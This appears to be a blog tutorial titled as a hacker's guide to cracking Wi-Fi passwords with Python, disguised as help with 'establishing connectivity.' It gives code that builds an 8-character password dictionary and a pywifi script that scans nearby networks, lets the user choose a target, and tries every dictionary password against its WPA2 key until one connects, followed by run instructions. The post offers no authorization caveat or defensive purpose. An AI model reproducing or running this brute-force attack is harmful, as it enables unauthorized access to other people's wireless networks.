A Hacker Crack Wifi Password with Python

Mahendra Kumawat
3 min readAug 11, 2023

This article is designed to assist individuals, whether tech-savvy or not, in effortlessly establishing Wi-Fi connectivity no matter their location, all through the power of Python. So, let’s delve right into it and explore alternative methods to achieve this goal…

1. Dependency pywifi

pywifi provides a cross-platform Python module for manipulating wireless interfaces. Easy to use; Supports Windows and Linux.

2. Construct a wifi dictionary

Including numbers (0–9), letters (a-z, A-Z), special characters (!@#$%^&*()_+=-)

A normal password consists of 8 characters with only numbers and small letters so we could pick any random combination of those and store them in to a .text file.

import itertools as its
words = "1234567890abcdefghijklmnopqrstuvwxyz" # a set of password characters
r =its.product(words,repeat=8) # random combination of 8 characters
dic = open("pwd.txt","a") # store wifi combinations in file
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

3. Attack Wifi with Python file

create a file main.py

import pywifi
import time
from pywifi import const

# WiFi scanner
def wifi_scan():
wifi = pywifi.PyWiFi() # Initialize WiFi
interface = wifi.interfaces()[0] # Use the first interface
interface.scan() # Start scanning
for i in range(4):
time.sleep(1)
print('\rScanning WiFi, please wait... (' + str(3 - i) + ')', end='')
print('\rScan Completed!\n' + '-' * 38)
print('{:4}{:6}{}'.format('No.', 'Strength', 'WiFi Name'))

bss = interface.scan_results() # Scan result

wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)

wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)

num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)

return wifi_name_list

# WiFi cracking function
def wifi_password_crack(wifi_name):
wifi_dic_path = input("Please provide the path to the password dictionary file: ")

with open(wifi_dic_path, 'r') as f:
for pwd in f:
pwd = pwd.strip('\n')
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.disconnect()
while interface.status() == 4:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if interface.status() == 4:
print(f'\rConnection Succeeded! Password: {pwd}')
exit(0)
else:
print(f'\rTrying with {pwd}', end='')

def main():
exit_flag = 0
target_num = -1

while not exit_flag:
try:
print('WiFi Password Cracker'.center(38, '-'))
wifi_list = wifi_scan()

choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('Please choose a target WiFi: '))
if target_num in range(len(wifi_list)):
while not choose_exit_flag:
try:
choose = str(input(f'The chosen target WiFi is: {wifi_list[target_num][1]}. Sure? (Y/N)'))
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
else:
print('Please enter only Y or N.')
except ValueError:
print('Please enter only Y or N.')
if choose_exit_flag == 1:
break
else:
print('Please choose a target WiFi: ')
except ValueError:
print('Please enter a valid number.')

wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e

if __name__ == '__main__':
main()

Step 4: Displaying Results and Running the Script

  1. Execute the Script and Initiate Cracking: Launch the script by running python main.py in your terminal or command prompt. This will initiate the WiFi password cracking process.

2. Observe Progress: As the script runs, it will systematically attempt different passwords from the provided dictionary against the target WiFi network. You’ll witness the script making attempts in real-time, displaying the passwords it’s trying.

3. Cracking Success: If the script successfully cracks the WiFi password, a triumphant message will be displayed, indicating that the connection has been established. The auto connection to the cracked WiFi network will occur seamlessly.

4. End of Execution: Once the process is complete, the script will gracefully conclude its execution. You’ll see a visual separation line to indicate the end of the process.

By following these steps, you’ll be able to run the script and observe the WiFi password cracking in action. Keep in mind that this process might take some time depending on the strength of the password and the efficiency of your computer.

--

--